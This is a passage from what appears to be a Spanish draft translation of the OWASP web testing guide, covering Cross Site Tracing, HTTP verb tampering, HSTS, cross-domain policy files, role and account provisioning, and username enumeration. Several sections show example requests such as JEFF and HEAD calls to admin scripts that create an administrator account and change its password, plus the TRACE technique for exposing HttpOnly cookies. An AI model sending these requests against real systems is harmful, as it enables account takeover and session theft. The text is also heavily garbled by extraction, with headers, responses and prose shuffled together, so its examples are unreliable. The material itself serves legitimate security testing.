El método TRACE, aunque aparentemente inofensivo, se puede aprovechar con éxito en algunos escenarios para robar credenciales de usuarios legítimos. Esta técnica de ataque fue descubierta por Jeremiah Grossman en el 2003, en un intento de eludir la etiqueta HttpOnly que Microsoft introdujo en Internet Explorer 6 SP1 para proteger las cookies de ser accesibles mediante JavaScript. De hecho, uno de los patrones de ataque más recurrentes del Cross Site Scripting es tener acceso al objeto document.cookie y enviarlo a un servidor web controlado por el atacante para que él o ella pueda secuestrar la sesión de la víctima. Etiquetaruna cookie como HttpOnly prohíbe a JavaScript acceder a la misma, protegiéndola de ser enviada a un tercero. Sin embargo, puede utilizarse el método TRACE para saltarse esta protección y acceder a la cookie en este escenario.
El método de prueba es muy sencillo y sólo necesitamos iniciar netcat (o telnet): Como se mencionó anteriormente, TRACE simplemente devuelve cualquier cadena que se envía al servidor web. Para verificar su presencia (o para comprobar los resultados de la solicitud de OPTIONS que se muestra arriba), el evaluador puede proceder como se muestra en el ejemplo siguiente:
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 87
Guia de pruebas 4.0 "Borrador"
• Aprovechando otra vulnerabilidad del lado del servidor: el atacante inyecta el fragmento hostil de JavaScript que contiene la petición TRACE en la aplicación vulnerable, como en un ataque normal de Cross Site Scripting.
$ nc www.victim.com 80
TRACE / HTTP/1.1 Host: www.victim.com
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
• Aprovechando una vulnerabilidad del lado del cliente: el atacante crea un sitio web malicioso que contiene el fragmento del código hostil de JavaScript y aprovecha alguna vulnerabilidad entre dominios del navegador de la víctima , para que el código JavaScript pueda realizar con éxito una conexión con el sitio que soporta el método TRACE y que originó la cookie que el atacante está tratando de robar.
Información más detallada, junto con ejemplos de código, puede encontrarse en el documento original escrito por Jeremiah Grossman.
Date: Tue, 31 Oct 2006 08:01:48 GMT Connection: close Content-Type: message/http
Content-Length: 39
Pruebas de métodos HTTP arbitrarios Encuentre una página para visitar que tenga una restricción de seguridad que normalmente obligaría una redirección 302 hacia una página de registro o fuerce un registro directamente. La URL de la prueba en este ejemplo funciona así, como lo hacen muchas aplicaciones web. Sin embargo, si un evaluador obtiene una respuesta "200" que no es una página de registro, es posible eludir la autenticación y autorización.
TRACE / HTTP/1.1
El contenido de la respuesta es exactamente una copia de nuestra petición original, lo que significa que el objetivo permite este método. Ahora, ¿dónde está el peligro acechando? Si el evaluador indica un navegador para emitir una petición TRACE al servidor web, y este navegador tiene una cookie para ese dominio, la cookie se incluirá automáticamente en los encabezados de la solicitud y, por lo tanto, se muestran en la respuesta resultante. En ese momento, la cadena de la cookie será accesible por JavaScript y será finalmente posible enviarla a un tercero, así la cookie esté etiquetada como httpOnly.
Hay varias maneras de hacer que un navegador emita una solicitud TRACE, tales como el control XMLHTTP ActiveX en Internet Explorer y XMLDOM en Mozilla y Netscape. Sin embargo, por razones de seguridad, al navegador se le permite iniciar una conexión sólo con el dominio donde reside el script hostil. Este es un factor atenuante, ya que el atacante debe combinar el método TRACE con otra vulnerabilidad para montar el ataque.
Un atacante tiene dos formas de lanzar con éxito un ataque de Cross Site Tracing:
Si el framework, firewall o la aplicación no admite el método de "JEFF", nc www.example.com 80 (o preferiblemente un 405 Not Allowed o debe $emitir una página de error 501 Not implemented error page). Si sirve a la solicitud, es vulnerable a JEFF / HTTP/1.1 este problema. Host: www.example.com Si el evaluador siente que el sistema es vulnerable a este problema, debe publicar ataques tipo CSRF para explotar el tema más plenamente: HTTP/1.1 200 OK Date: Mon, 18 Aug 2008 22:38:40 GMT • FOOBAR/admin/createUser.php?member=myAdmin Server: Apache • JEFF/admin/changePw.php?member=myAdmin&passwd= Set-Cookie: PHPSESSID=K53QW... foo123&confirm=foo123 • CATS /admin/groupEdit.php?group=Admins&member=myAd min&action=add
Con suerte, usando los tres comandos anteriores que han sido modificados para adaptarse a la aplicación sometida a la prueba y los requisitos de prueba, se debe crear un nuevo usuario, con una contraseña asignada y hacelo administrador.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 88
Guia de pruebas 4.0 "Borrador"
Pruebas para omitir el control de acceso HEAD Encuentre una página para visitar que tenga una restricción de seguridad que normalmente obligaría una redirección 302 a una página de registro o fuerce un registro directamente. La URL de prueba en este ejemplo funciona así, como lo hacen muchas aplicaciones web. Sin embargo, si el evaluador obtiene una respuesta "200" que no es una página de inicio de sesión, es posible eludir la autenticación y autorización.
Si el evaluador piensa que el sistema es vulnerable a este problema, debe emitir ataques tipo CSRF para explotar el tema más plenamente:
• HEAD /admin/createUser.php?member=myAdmin • HEAD /admin/changePw.php?member=myAdmin&passwd=
foo123&confirm=foo123 $ nc www.example.com 80 • HEAD /admin/groupEdit.php?group=Admins&member=myAd HEAD /admin HTTP/1.1 min&action=add Host: www.example.com
HTTP/1.1 200 OK
Date: Mon, 18 Aug 2008 22:44:11 GMT
Con suerte, usando los tres comandos anteriores (modificados para adaptarse a la aplicación sometida a prueba y los requisitos de prueba)se debe crear un nuevo usuario, con una contraseña asignada y hacerlo administrador, todo usando un envío de solicitud ciega.
Server: Apache Set-Cookie: PHPSESSID=pKi...; path=/; HttpOnly
Herramientas
Expires: Thu, 19 Nov 1981 08:52:00 GMT
• NetCat - http://nc110.sourceforge.net
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
• cURL - http://curl.haxx.se/
Pragma: no-cache Referencias Set-Cookie: adminOnlyCookie1=...; expires=Tue, 18-Aug-2009 22:44:31 GMT; domain=www.example.com
Set-Cookie: adminOnlyCookie2=...; expires=Mon, 18-Aug-2008 22:54:31 GMT; domain=www.example.com
Libros Blancos • RFC 2616: “Hypertext Transfer Protocol -- HTTP/1.1” • RFC 2109 and RFC 2965: HTTP State Management Mechanism”
Set-Cookie: adminOnlyCookie3=...; expires=Sun, 19-Aug-2007 22:44:30 GMT; domain=www.example.com Content-Language: EN
• Jeremiah Grossman: “Cross Site Tracing (XST)” - cgisecurity.com
Connection: close
• Amit Klein: “XS(T) attack variants which can, in some cases, eliminate the need for TRACE” - securityfocus.com
Si el evaluador obtiene un "405 Method not allowed " o "501 Method Unimplemented", el objetivo aplicación/framework/lenguaje/sistema/firewall) está funcionando correctamente. Si regresa un código de respuesta "200", y la respuesta no contiene ningúna información, es probable que la aplicación ha procesado la solicitud sin autenticación o autorización y se deben realizar pruebas para certificarlas.
• Arshan Dabirsiaghi: “Bypassing VBAAC with HTTP Verb Tampering” static.swpag.info
Pruebe el HTTP Strict Transport Security (OTG-CONFIG-007)
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 89
Guia de pruebas 4.0 "Borrador"
Resumen El encabezado HTTPS Strict Transport Security (HSTS) es un mecanismo que tienen los sitios web para comunicarse con los navegadores web. Todo el tráfico intercambiado con un dominio debe siempre ser enviado mediante https; esto ayudará a proteger la información de que se envie mediante peticiones no cifradas.
Cómo probar
Considerando la importancia de esta medida de seguridad, es importante verificar que el sitio web utilice este encabezado HTTP, para garantizar que todos los datos viajan encriptados desde el navegador al servidor.
$ curl -s -D- https://domain.com/ | grep Strict
Probar la presencia del encabezado HSTS puede hacerse comprobando la existencia de la Rúbrica HSTS en la respuesta del servidor en un proxy de intercepción, o usando curl como se indica a continuación:
Resultado esperado: La función HTTP Strict Transport Security (HSTS) permite a una aplicación web informar al navegador, mediante el uso de un encabezado de respuesta especial, que nunca debe establecer una conexión con los servidores de dominio especificados mediante HTTP. En su lugar debe establecer automáticamente todas las solicitudes de conexión para acceder al sitio a través de HTTPS.
El encabezado HTTP Strict Transport Security utiliza dos directivas:
• max-age: para indicar el número de segundos en el que el navegador debe convertir automáticamente todas las solicitudes de HTTP a HTTPS.
Strict-Transport-Security: max-age=...
Referencias • OWASP HTTP Strict Transport Security - owasp.org • OWASP Appsec Tutorial Series - Episode 4: Strict Transport Security http://www.youtube.com/watch?v=zEV3HOuM_Vw
• HSTS Specification: tools.ietf.org
• includeSubDomains: para indicar que todos los subdominios de la aplicación web deben utilizar HTTPS. Pruebe la Política de Dominio Cruzado RIA (OTG-CONFIG-008) Este es un ejemplo de la aplicación de la Rúbrica HSTS: Strict-Transport-Security: max-age=60000; includeSubDomains
El uso del encabezado por parte de las aplicaciones web debe revisarse para encontrar si podrían producirse los siguientes problemas de seguridad:
Resumen Aplicaciones Enriquecidas de Internet (RIA) han adoptado los archivos de políticas de Adobe crossdomain.xml para permitir el acceso controlado de dominio cruzado para consumo de datos y servicios, utilizando tecnologías como Oracle Java, Silverlight y Adobe Flash. Por lo tanto, un dominio puede conceder acceso remoto a sus servicios desde un dominio diferente. Sin embargo, a menudo los archivos de políticas que describen las restricciones de acceso se configuran pobremente. Una configuración pobre de los archivos de directivas permite ataques de Cross-site Request Forgery (Falsificación de peticiones de sitios cruzados) y puede permitir a terceros acceder a los datos sensibles para el usuario.
• Los atacantes olfateando el tráfico de red y accediendo a la información transferida a través de un canal sin codificar. • Los atacantes explotando un ataque de intermediario (man in the middle) debido al problema de aceptar certificados que no son de confianza. • Los usuarios que entraron por error una dirección en el navegador, poniendo HTTP en lugar de HTTPS, o usuarios que hagan clic en un vínculo en una aplicación web que indicó por error el protocolo HTTP.
¿Cuáles son los archivos de directivas entre dominios? Un archivo de políticas de dominios cruzados especifica los permisos que un cliente web como Java, Adobe Flash, Adobe Reader, etc. utilizan para acceder a datos entre dominios diferentes. Para Silverlight, Microsoft adoptó un subconjunto del crossdomain.xml de Adobe y, además, creó su propio archivo de directivas entre dominios: clientaccesspolicy.xml.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 90
Guia de pruebas 4.0 "Borrador"
<?xml version=”1.0”?> Cada vez que un cliente web detecta que un recurso tiene que ser solicitado a otro dominio, primero buscará un archivo de políticas en el dominio de destino para determinar si puede realizar peticiones de dominio cruzado, incluyendo encabezados, y si se permiten los enlaces basados en tomas de conexión (socket-based connections) .
<!DOCTYPE cross-domain-policy SYSTEM “http://www.adobe.com/xml/dtds/cross-domain-policy.dtd”>
<cross-domain-policy> <site-control permitted-cross-domain-policies=”all”/>
Los archivos maestros de políticas se encuentran en la raíz del dominio. Un cliente puede recibir instrucciones para cargar un archivo de políticas diferentes, pero siempre comprobará el archivo maestro de política primero, para asegurarse de que el archivo maestro de políticas permite el archivo de políticas solicitado.
<allow-access-from domain=”*” secure=”false”/> <allow-http-request-headers-from secure=”false”/>
domain=”*”
headers=”*”
</cross-domain-policy>
Crossdomain.xml vs. Clientaccesspolicy.xml La mayoría de las aplicaciones RIA soportan crossdomain.xml. Sin embargo, en el caso de Silverlight, solo le está permitido funcionar si crossdomain.xml especifica que el acceso se permite desde cualquier dominio. Para un control más detallado con Silverlight, debe usarse clientaccesspolicy.xml.
¿Cómo pueden los archivos de políticas de dominios cruzados ser forzados?
Los archivos de políticas conceden varios tipos de permisos:
• Que usan la funcionalidad de carga de archivos para subirlos y tratarlos como archivos de políticas de dominios cruzados.
• Políticas de dominios cruzados excesivamente permisivas. • Que generan respuestas del servidor que pueden ser tratadas como archivos de políticas de dominios cruzados.
• Archivos de políticas aceptados (Los archivos maestros de políticas de archivos pueden deshabilitar o restringir archivos de políticas específicas)
Impacto del abuso del acceso de dominios cruzados
• Permisos de tomas de conexión
• Derrotar las protecciones CSRF.
• Permisos de encabezados
• Leer datos restringidos o que estaban protegidos por políticas de origen cruzado.
• Permisos de acceso HTTP/HTTPS • Permitir el acceso basado en credenciales criptográficas Cómo probar Para probar las debilidades de los archivos de políticas RIA: Un ejemplo de un archivo de políticas excesivamente permisivos: Para probar la debilidad del archivo de políticas RIA, el evaluador debe tratar de recuperar los archivos de las políticas crossdomain.xml y clientaccesspolicy.xml de la raíz de la aplicación y de cada carpeta encontrada.
Por ejemplo, si el URL de la aplicación es http://www.owasp.org, el evaluador debe intentar descargar los archivos http://www.owasp.org/crossdomain.xml http://www.owasp.org/clientaccesspolicy.xml.
and
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 91
Guia de pruebas 4.0 "Borrador"
• MSDN: “Making a Service Available Across Domain Boundaries” msdn.microsoft.com Después de recuperar todos los archivos de políticas, los permisos permitidos deben medirse bajo el principio de privilegios mínimos. Las solicitudes sólo deben provenir de los dominios, puertos o protocolos que son necesarios. Deben evitarse las políticas excesivamente permisivas. Políticas con "*" deben ser examinadas de cerca.
• MSDN: “Network Security Access Restrictions in Silverlight” msdn.microsoft.com
-
• Stefan Esser: “Poking new holes with Flash Crossdomain Policy Files” hardened-php.net
<cross-domain-policy> <allow-access-from domain=”*” />
• Jeremiah Grossman: “Crossdomain.xml Invites Cross-site Mayhem” jeremiahgrossman.blogspot.com
</cross-domain-policy>
• Google Doctype: “Introduction to Flash security “ - code.google.com
Ejemplo: <cross-domain-policy>
Pruebe las Definiciones de Roles (OTGIDENT-001)
<allow-access-from domain=”*” /> Resumen </cross-domain-policy>
Resultado esperado:
• una lista de archivos de políticas encontrados. • Una configuración débil en las políticas.
Herramientas • Nikto • OWASP Zed Attack Proxy Project • W3af
Referencias Libros Blancos • UCSD: “Analyzing the Crossdomain Policies of Flash Applications” cseweb.ucsd.edu
Es común en las empresas modernas definir funciones de sistema para la gestión de usuarios y autorización de recursos del sistema. En la mayoría de las implementaciones de sistema, se espera que existan al menos dos funciones: los administradores y usuarios regulares. El primero representa un papel que permite el acceso a la funcionalidad privilegiada e información sensible; el segundo que representa un papel que permite el acceso a información y funcionalidad del negocio regular. Los roles bien desarrollados deben estar alineados con los procesos de negocio que están soportados por la aplicación.
Es importante recordar que la autorización obligatoria no es la única manera de gestionar el acceso a los objetos del sistema. En entornos más confiables, donde la confidencialidad no es crítica, controles más suaves como el flujo de trabajo de aplicación y registro de auditoría pueden cubrir los requisitos de integridad de los datos, mientras no restrinjan el acceso del usuario a la funcionalidad o la creación de estructuras de roles más complejas, que son difíciles de manejar.
Es importante considerar el principio de "Ricitos de Oro" cuando hablamos de la ingeniería de roles. Definirmuy pocos papeles y amplios papeles (exponiendo a los usuarios de esta manera al acceso de funcionalidades que no requieren) es tan malo como muchos papeles o hechos muy ajustados a la medida de cada usuario ( y así restringir el acceso de los usuarios a las funcionalidades que requieren).
• Adobe: “Cross-domain policy file specification” - adobe.com • Adobe: “Cross-domain policy file usage recommendations for Flash Player” - adobe.com
Pruebe los objetivos
• Oracle: “Cross-Domain XML Support” - oracle.com
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 92
Guia de pruebas 4.0 "Borrador"
Valide los diferentes roles en el sistema, definidos dentro de la aplicación. Defina y separe lo suficiente cada sistema y rol de negocio para gestionar un acceso adecuado a la información y funcionalidad del sistema.
Remediación La remediación de los problemas puede tomar las siguientes formas: • Ingeniería de roles
Cómo probar
• Crear mapas de los roles del negocio a los roles del sistema
Con o sin ayuda de los desarrolladores del sistema o administradores, desarrolle un rol versus la matriz de permisos. La matriz debe enumerar todos los roles que pueden ser provisionados y explorar los permisos que pueden aplicarse a los objetos, así como las restricciones. Si una matriz es proporcionada con la aplicación, esta debe ser validada por el evaluador; si no existe, el evaluador debe generar y determinar si la matriz satisface las políticas de acceso deseado por la aplicación.
• Separación de funciones
Pruebe el Proceso de Registro del Usuario (OTG-IDENT-002) Resumen
Ejemplo Un ejemplo real de definiciones de roles se puede encontrar en la documentación de funciones de WordPress [1]. WordPress tiene seis roles por defecto desde Super Administrador hasta Suscriptor.
Algunos sitios web ofrecen un proceso de registro del usuario, que automatiza (o semi-automatiza) la creación del acceso al sistema para los usuarios. Los requisitos de identidad para el acceso varían desde identificación positiva a ninguna en absoluto, dependiendo de los requisitos de seguridad del sistema. Muchas aplicaciones públicas automatizan totalmente el registro y el proceso de provisionamiento porque el tamaño de la base de usuarios hace que sea imposible manejarla manualmente. Sin embargo, muchas aplicaciones corporativas provisionan usuarios manualmente, por lo que este tipo de prueba puede no ser aplicable.
Objetivos de la prueba [1] Verifique que los requisitos de identidad para registro de usuarios estén alineados con los requerimientos de seguridad y negocio.
Herramientas Si bien el enfoque más exhaustivo y exacto para completar esta prueba es llevarla a cabo manualmente, las herramientas de spidering[2] también son útiles. Inicie la sesión con cada rol en orden (no olvide excluir el vínculo cerrar sesión desde la herramienta de spidering).
[2] Valide el proceso de registro.
Cómo probar Verifique que los requisitos de identidad para registro de usuarios estén alineados con los requerimientos de seguridad y negocio:
Referencias [1] Role Engineering for Enterprise Security Management, E Coyne & J Davis, 2007
[2] Role engineering and RBAC standards
[1] ¿Cualquier persona puede registrarse para acceder?
[2] ¿Son validados por un ser humano antes de crear los registros, o se conceden automáticamente si se cumplen los criterios?
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 93
Guia de pruebas 4.0 "Borrador"
[3] ¿Puede la misma persona o identidad registrarse varias veces?
[4] ¿Pueden registrarse usuarios para diferentes roles o permisos?
[5] ¿Qué documento de identidad se requiere para que un registro tenga éxito?
[6] ¿Son las identidades registradas verificadas?
Herramientas Un proxy HTTP puede ser una herramienta útil para probar este control.
Validar el proceso de registro: [1] ¿Puede la información de identidad ser fácilmente falsificada? Referencias [2] ¿Puede el intercambio de información durante el registro ser manipulado?
Diseño de registro de usuarios
Remediación Ejemplo En el siguiente ejemplo de WordPress, el único requisito de identificación es una dirección de correo electrónico accesible a la persona registrada.
Implemente una identificación y verificación de requisitos que corresponden a los requisitos de seguridad de la información que las credenciales protegen.
Pruebe el Proceso de Creación de Cuentas (OTG-IDENT-003) Resumen El aprovisionamiento de cuentas presenta una oportunidad para un atacante de crear una cuenta válida sin la aplicación de una correcta identificación y proceso de autorización.
Objetivos de la Prueba En cambio, en el ejemplo de Google a continuación, la identificación de requisitos incluye nombre, fecha de nacimiento, país, número de teléfono móvil, dirección de correo electrónico y respuesta CAPTCHA. Mientras que sólo dos de estos pueden verificarse (dirección email y número de móvil), los requisitos de identificación son más estrictos que en WordPress.
Verifique qué cuentas pueden aprovisionar otras cuentas y de qué tipo.
Cómo probar
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 94
Guia de pruebas 4.0 "Borrador"
Determine qué roles están a disposición de los usuarios y qué tipo de cuentas pueden aprovisionar .
• ¿Existe alguna verificación, examen y autorización de las solicitudes de aprovisionamiento?
• ¿Existe alguna verificación, examen y autorización de las solicitudes de aprovisionamiento?
• ¿Puede un administrador aprovisionar a otros administradores o sólo usuarios?
• ¿Puede un administrador u otras cuentas crear cuentas de usuario con privilegios mayores que los suyos?
Herramientas • ¿Puede un administrador o usuario eliminar su cuenta?
Aunque el enfoque más exhaustivo y exacto para completar esta prueba es llevarla a cabo manualmente, las herramientas de proxy HTTP tambien pueden ser útiles.
• ¿Cómo son gestionados los archivos o recursos propiedad del usuario eliminado? ¿Se eliminan? ¿Se transfiere el acceso?
Ejemplo En WordPress, sólo el nombre de usuario y correo electrónico son necesarios para crear un usuario, como se muestra a continuación:
Pruebas de enumeración de cuentas y adivinanza de cuentas de usuario (OTGIDENT-004) Resumen La visión de esta prueba es verificar si es posible reunir un conjunto nombres válidos de usuario interactuando con el mecanismo autenticación de la aplicación. Esta prueba será útil para las pruebas fuerza bruta, en las que el evaluador verifica si, dado un nombre usuario válido, es posible encontrar la contraseña correspondiente.
La eliminación de usuarios requiere que el administrador seleccione los usuarios a ser eliminados. Seleccione Eliminar del menú desplegable (marcado en un círculo) y luego aplique esta acción. Al administrador se le presenta entonces un cuadro de diálogo preguntando qué hacer con los mensajes del usuario (borrar o transferir).
de de de de
A menudo, las aplicaciones web revelan cuándo existe un nombre de usuario en el sistema, ya sea como consecuencia de la mala configuración o como una decisión de diseño. Por ejemplo, a veces, cuando se envían credenciales equivocadas, recibimos un mensaje que indica que el nombre de usuario está presente en el sistema o la contraseña proporcionada es incorrecta. La información obtenida puede utilizarla un atacante para obtener una lista de los usuarios en el sistema. Esta información puede utilizarse para atacar la aplicación web, por ejemplo, a través de un ataque forzado o un ataque por defecto de nombre de usuario y contraseña.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 95
Guia de pruebas 4.0 "Borrador"
El evaluador debe interactuar con el mecanismo de autenticación de la aplicación para entender si, enviando peticiones en particular, se logra que la aplicación responda de diferentes maneras. Este problema existe porque la información de aplicación web o servidor web es diferente cuando el usuario proporciona un nombre de usuario válido que cuando usa uno no válido.
En algunos casos, se recibe un mensaje que revela si las credenciales proporcionadas están equivocadas porque se utilizó un nombre de usuario no válido o una contraseña incorrecta. A veces, los evaluadores pueden enumerar los usuarios existentes enviando un nombre de usuario y una contraseña vacía.
El navegador debe mostrar un mensaje similar al siguiente:
o algo así:
Cómo probar En una prueba de de caja negra, el evaluador no sabe nada acerca de la aplicación, nombre de usuario, lógica de la aplicación, mensajes de error en el registro de la página o posibilidades de recuperación de contraseña. Si la aplicación es vulnerable, el evaluador recibe un mensaje de respuesta que revela, directa o indirectamente, alguna información útil para la enumeración de usuarios.
contra cualquier mensaje que revela la existencia del usuario, por ejemplo, un mensaje similar al siguiente:
Login for User foo: invalid password
Mensaje de respuesta HTTP Usando WebScarab, note la información obtenida de este intento fallido de autenticación (respuesta HTTP 200, longitud de la respuesta). Pruebas de búsqueda de contraseñas y usuarios válidos
Registre la respuesta del servidor cuando se envía una identificación de usuario válido y una contraseña válida.
Pruebas para buscar un usuario no existente Ahora, el evaluador debe intentar introducir un ID de usuario inválido y una contraseña incorrecta y registrar la respuesta del servidor (el evaluador debe estar seguro que el nombre de usuario no es válido en la aplicación). Grabe el mensaje de error y la respuesta del servidor.
Resultado esperado: Usando WebScarab, anote la información obtenida de esta autenticación correcta (respuesta HTTP 200, longitud de la respuesta).
Resultado esperado: Si el evaluador ingresa un ID de usuario inexistente, puede recibir un mensaje similar a:
Pruebas para un usuario válido con una contraseña incorrecta. Ahora, el evaluador intentará introducir un usuario válido y una contraseña incorrecta y grabará el mensaje de error generado por la aplicación.
Resultado esperado:
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 96
Guia de pruebas 4.0 "Borrador"
o un mensaje como el siguiente:
http://www.foo.com/err.jsp?User=baduser&Error=0
Login failed for User foo: invalid Account
http://www.foo.com/err.jsp?User=gooduser&Error=2 Generalmente, la aplicación debe responder con el mismo mensaje de error y la longitud a las distintas solicitudes incorrectas. Si las respuestas no son iguales, el evaluador debe investigar y averiguar la clave que crea una diferencia entre las dos respuestas. Por ejemplo:
• Solicitud del cliente: usuario válido/ contraseña inválida-->
Como se ve arriba, cuando un evaluador proporciona un ID de usuario y una contraseña a la aplicación web, ven un mensaje que indica que se ha producido un error en la URL. En el primer caso han proporcionado un ID de usuario equivocado y una contraseña equivocada. En el segundo, un ID de usuario correcto y una contraseña equivocada, así que pueden identificar un ID de usuario válido.
Respuesta del servidor: 'la contraseña no es correcta' • Solicitud del cliente: : usuario inválido/ contraseña inválida --> Respuesta del servidor: 'Usuario no reconocido'
Las respuestas anteriores permiten al evaluador entender con la primera solicitud que tienen un nombre de usuario válido para interactuar con la aplicación, solicitando un conjunto de posibles usuarios y observar la respuesta.
-Sondeo de una URI A veces un servidor web responde diferente si recibe una solicitud de un directorio existente o no. Por ejemplo, en algunos portales, cada usuario está asociado con un directorio. Si los evaluadores intentan acceder a un directorio existente, ellos podrían recibir un error de servidor web. Un error muy común que se recibe desde el servidor web es:
403 Forbidden error code Observando la segunda respuesta del servidor, el evaluador entiende, de la misma manera, que no tiene un nombre de usuario válido. Así pueden interactuar de igual forma y crear una lista de usuarios válidos mirando las respuestas del servidor.
y
404 Not found error code Otras maneras de enumerar usuarios Los evaluadores pueden enumerar usuarios de varias maneras, tales como:
- Analizando el código de error recibido en las páginas de inicio de sesión Algunas aplicaciones web liberan código de error específico o un mensaje que podemos analizar. Ejemplo
- Analizando URL y redireccionamientos de URL Por ejemplo:
http://www.foo.com/account1 - we receive from web server: 403 Forbidden http://www.foo.com/account2 - we receive from web server: 404 file Not Found
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 97
Guia de pruebas 4.0 "Borrador"
En el primer caso el usuario existe, pero el evaluador no puede ver la página
web; en el segundo caso, en cambio, el usuario "account2" no existe. Recopilando esta información, los evaluadores pueden enumerar a los
usuarios.
recibir "200 ok" con una imagen; en este caso, podemos suponer que cuando recibimos la imagen específica el usuario no existe. Esta lógica puede aplicarse a otra respuesta del servidor web; el truco es un buen análisis de los mensajes del servidor web y de la aplicación web.
Adivinanza de usuarios En algunos casos, el ID de usuario se crea con políticas específicas de la empresa o el administrador. Por ejemplo, podemos ver un usuario con un ID de usuario creado en orden secuencial: CN000100 CN000101
-Análisis de los títulos de la Página Web …. Los evaluadores pueden recibir información útil del título de la página web, donde pueden obtener un código de error específico o mensajes que revelan si los problemas son del usuario o contraseña.
A veces los usuarios son creados con un alias REALM y luego números secuenciales: R1001 – user 001 for REALM1
Por ejemplo, si un usuario no puede autenticarse en una aplicación y recibe una página web cuyo título es similar a:
Invalid user
Invalid authentication
- Análisis de un mensaje recibido de una instalación de recuperación Cuando utilizamos una instalación de recuperación (es decir, una función de contraseña olvidada) una aplicación vulnerable puede devolver un mensaje que revela si un nombre de usuario existe o no.
R2001 – user 001 for REALM2
Para el ejemplo anterior, podemos crear secuencias de comandos de carcaza (shell scripts) simples que componen usuarios y envían una solicitud con herramientas como wget para automatizar una consulta web para discernir ID de usuarios válidos. Para crear una secuencia de comandos también podemos usar Perl y Curl.
Otras posibilidades son: • ID de usuarios asociados con números de tarjetas de crédito o, en general, números con un patrón.
Por ejemplo, un mensaje similar al siguiente: Usuario Inválido: e-mail address is not valid or the specified user was not found.
• ID de usuarios asociados con nombres reales, por ejemplo, si Freddie Mercury tiene un ID de usuario de "fmercury", entonces usted podría adivinar que Roger Taylor tiene el ID de usuario "rtaylor".
Usuario válido: Your password has been successfully sent to the email address you registered with.
- Mensaje de Error 404 amigable
Una vez más, podemos intuir un nombre de usuario de la información recibida de una consulta LDAP o de la recopilación de información de Google, por ejemplo, de un dominio específico. Google puede ayudar a encontrar los usuarios de un dominio a través de consultas específicas o a través de secuencias de comandos de carcaza (shell scripts) simples o herramientas.
Cuando solicitamos a un usuario dentro del directorio que no existe, no siempre recibimos un código de error 404. Por el contrario, podemos
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 98
Guia de pruebas 4.0 "Borrador"
Atención: mediante la enumeración de cuentas de usuario, se arriesga a bloquear las cuentas después de un número predefinido de intentos fallidos (basado en las políticas de la aplicación). También, a veces, su dirección IP puede ser prohibida por reglas dinámicas en la aplicación firewall o sistema de prevención de intrusión.
Pruebas de Caja Gris
Asegúrese de que la aplicación devuelve mensajes de error genéricos, consistentes en respuesta a nombres de cuenta válidos, contraseñas u otras credenciales de usuario, ingresados durante el proceso de registro.
Asegúrese que las cuentas de pruebas del sistema y cuentas por defecto se eliminen antes de lanzar el sistema a producción (o exponiéndola a una red no confiable).
Pruebas a los mensajes de error de autenticación Compruebe que la aplicación responde de la misma manera a cada solicitud de un cliente que produce una autenticación fallida. Para este problema, la prueba de Caja Negra y la de Caja Gris tienen el mismo concepto, basado en el análisis de los mensajes o códigos de error recibidos de la aplicación web.
Resultado esperado:
Pruebe las políticas de nombre de usuario débiles o sin fuerza (OTG-IDENT-005)
La aplicación debe responder de la misma manera a cada intento fallido de autenticación.
Resumen
Por ejemplo:
Los nombres de usuario de cuentas están a menudo altamente estructurados (por ejemplo, el nombre de la cuenta de Joe Bloggs es jbloggs y el nombre de la cuenta de Fred Nurks es fnurks) y los nombres de cuentas válidos pueden ser adivinados fácilmente.
Credentials submitted are not valid
Objetivos de la Prueba Herramientas • WebScarab: OWASP_WebScarab_Project
Determine si una estructura de nombres de cuenta constante hace que la aplicación sea vulnerable a la enumeración de la cuenta. Determine si los mensajes de error de la aplicación permiten la enumeración de la cuenta.
• CURL: curl.haxx.se • PERL: perl.org Cómo probar • Sun Java Access & Identity Manager users enumeration tool: • Determine la estructura de nombres de cuentas. aboutsecurity.net • Evalúe la respuesta de la aplicación a nombres de cuentas válidos y no válidos. Referencias • Marco Mella, Sun Java Access & Identity Manager Users enumeration: aboutsecurity.net
• Utilice diferentes respuestas a nombres de cuentas válidos y no válidos para enumerar nombres de cuenta válidos. • Use diccionarios de nombre de cuenta para enumerar los nombres de cuenta válidos.
• Username Enumeration Vulnerabilities: gnucitizen.org
Remediación Remediación
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 99
Guia de pruebas 4.0 "Borrador"
Asegúrese que la aplicación devuelva mensajes de error genéricos consistentes en respuesta a nombres de cuenta inválidos, contraseñas u otras credenciales de usuario introducidas durante el proceso registro.
Pruebas de Autenticación Autenticación(Griego: αυθεντικός = verdadero o genuino, de 'authentes' = el autor) es el acto de establecer o confirmar algo (o alguien) como auténtico, es decir, que las demandas hechas por o sobre la cosa son verdaderas. Autenticar un objeto puede significar confirmar su procedencia, mientras que la autenticación de una persona a menudo consiste en verificar su identidad. La autenticación depende de uno o más factores de autenticación.
En la actualidad, el ejemplo más común de este problema es la página de registro en una aplicación web. El evaluador debe comprobar que las credenciales del usuario se transmitan a través de un canal encriptado. Para iniciar una sesión en un sitio web, el usuario generalmente tiene que llenar un formulario simple que transmite los datos insertados a la aplicación web con el método POST. Lo que es menos evidente es que estos datos se pueden transmitir mediante el protocolo HTTP, que transfiere los datos de
una manera insegura, como texto transparente, o utilizando el protocolo HTTPS, que cifra los datos durante la transmisión.
En seguridad informática, la autenticación es el proceso de intentar verificar la identidad digital del remitente de una comunicación. Un ejemplo común de este proceso es el proceso de registro. Probar el esquema de autenticación significa comprender cómo funciona el proceso de autenticación y usar esa información para eludir el mecanismo de autenticación.
Para complicar más las cosas, existe la posibilidad de que el sitio tenga la página de inicio accesible a través de HTTP (haciéndonos creer que la transmisión es insegura), pero en realidad envía datos a través de HTTPS. Esta prueba se hace para asegurarse que un atacante no pueda recuperar información sensible simplemente husmeando en la red con una herramienta de olfateo ( sniffer).
Pruebas del transporte de credenciales en un canal encriptado (OTG-AUTHN-001)
Cómo probar
Resumen
